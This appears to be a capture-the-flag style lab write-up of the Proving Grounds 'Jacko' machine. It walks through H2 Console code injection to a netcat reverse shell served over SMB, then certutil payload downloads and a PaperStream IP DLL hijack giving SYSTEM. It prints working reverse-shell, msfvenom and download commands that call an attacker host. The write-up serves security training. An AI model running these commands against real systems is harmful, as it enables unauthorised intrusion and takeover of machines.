> For the complete documentation index, see [llms.txt](https://fg0x0.gitbook.io/fg0x0s-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://fg0x0.gitbook.io/fg0x0s-notes/offensive-security/pg-practice/get-to-work/jacko.md).

# Jacko

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FTt7beRGt6jtLFYOS3bee%2Fimage.png?alt=media&amp;token=8bdb0cbc-be4d-4069-a5ed-901f34328de4" alt=""><figcaption></figcaption></figure>

### Nmap

```
sudo nmap 192.168.67.66 -p- -sS -sV        

PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
7680/tcp open  pando-pub?
8082/tcp open  http          H2 database http console
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

On port 8082 we have a login page for H2 Console. Connecting with the default inputted values allows login to the console.

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FiiRuStTkrnd8rWXgyKWu%2Fimage.png?alt=media&amp;token=b11d7fea-b4a4-4695-aac6-12fc1623ce23" alt=""><figcaption></figcaption></figure>

Once logged in we can see that we are running on H2 Console version 1.4.199. A search on exploit-db shows that version 1.4.199 is vulnerable to code injection using Java.

{% embed url="<https://www.exploit-db.com/exploits/49384>" %}

The following snippet is the vulnerable code we need to run on the H2 Console:

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2Fxnl1s8idN9E5q7YFIyhv%2Fimage.png?alt=media&amp;token=535394b0-f175-4c36-9fb0-e0facef9cf21" alt=""><figcaption></figcaption></figure>

The section of the code that executed commands on the target machine has been shown below. To achieve code execution I set up a SMB Server on my attacking machine with Impacket's SMBserver.py script and ensured `nc.exe` was in the specified SMB share.

`-- Evaluate script CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval"; CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("cmd.exe /c //192.168.49.67/Share/nc.exe -e cmd.exe 192.168.49.67 8082").getInputStream()).useDelimiter("\Z").next()');`

First set up a SMB server:

```
python2 smbserver.py -smb2support Share /home/kali/
```

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FfRqSdUWFNCxj8Rqva4Nw%2Fimage.png?alt=media&amp;token=fb0060e2-f5a2-4c5e-a6bf-7f41ede05612" alt=""><figcaption></figcaption></figure>

Then paste the code from exploit-db into the SQL statement section of the website and ensure the --evaluate script section has the command for calling `nc.exe` on the attacking machines SMB server.

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FEZwmpuWXLGkaGOMfMMIK%2Fimage.png?alt=media&amp;token=08945347-c31e-427f-8dbd-a200da803c4c" alt=""><figcaption></figcaption></figure>

When ready run the SQL statement and we should see authentication on `smbserver.py`

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FDndqSMWFI2pwlBclhCIj%2Fimage.png?alt=media&amp;token=b69df179-7c5d-4c6b-8355-493cdf0da624" alt=""><figcaption></figcaption></figure>

And then shortly after catch a reverse shell on our `netcat` listener.

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FviuDQyHtYLrM6mpnEBle%2Fimage.png?alt=media&amp;token=32fe7102-cb33-461f-b54f-1b2f4f163c82" alt=""><figcaption></figcaption></figure>

First we need to fix PATH on the target machine as shown below:

```
set PATH=%SystemRoot%\system32;%SystemRoot%;
```

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FsOibkYSFgxLm8KpRaQ3X%2Fimage.png?alt=media&amp;token=35137d05-1a67-4af9-abb1-aa80f5539a56" alt=""><figcaption></figcaption></figure>

Looking through Program files (x86) we can see a directory called PAPERSTREAM IP. Looking for exploits on exploit-db takes us to the following:

{% embed url="<https://www.exploit-db.com/exploits/49382>" %}

The description for this exploit is shown below:

```
A DLL hijack vulnerability exists in the FJTWSVIC service running as part of
the Fujitsu PaperStream IP (TWAIN) software package. This exploit searches
for a writable location, copies the specified DLL to that location and then
triggers the DLL load by sending a message to FJTWSVIC over the FjtwMkic_Fjicube_32
named pipe.

# Example payload generated as follows
# msfvenom -p windows/x64/shell_reverse_tcp -f dll -o shell.dll LHOST=eth0 LPORT=4444 
$PayloadFile = "C:\Windows\Temp\UninOldIS.dll"
```

We need to change the DLL name generated by `msfvenom` and the payload location. When I attempted to download exploit to c:\windows\temp my file was deleted instantly. Possibly by AV?

First I generated a `msfvenom` shell to the name of the DLL required which is UninOldIS.dll. `msfvenom -p windows/shell_reverse_tcp -f dll -o UninOldIS.dll LHOST=192.168.49.67 LPORT=8082`

Then changed the payload file variable to the users Desktop.

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FeQDE4EqADuN1025vz5U1%2Fimage.png?alt=media&amp;token=24177615-c16a-4d21-8df6-9792197eafe5" alt=""><figcaption></figcaption></figure>

At this point move into the users Desktop then use `certutil` to download the files as when copying by SMB I could get the payload to trigger without issues.

```
certutil -urlcache -split -f http://192.168.49.67/exploit.ps1 exploit.ps1
certutil -urlcache -split -f http://192.168.49.67/UninOldIS.dll UninOldIS.dll
```

Start a `netcat` listener on the attacking machine to listen in on port 8082. Then execute the Powershell exploit.ps1 on the target machine.

`C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe -ep bypass C:\users\tony\Desktop\exploit.ps1`

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2Fh18SZ0SfpQeVIyAwmm1A%2Fimage.png?alt=media&amp;token=bfac09ca-c5a6-46af-a027-10c2fac8bfc6" alt=""><figcaption></figcaption></figure>

A short while later we should receive a shell as SYSTEM.

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FLYfU0cAapi5gcuLKZrLO%2Fimage.png?alt=media&amp;token=eeca5afd-18a5-4c69-8e8e-51212ca1404a" alt=""><figcaption></figcaption></figure>
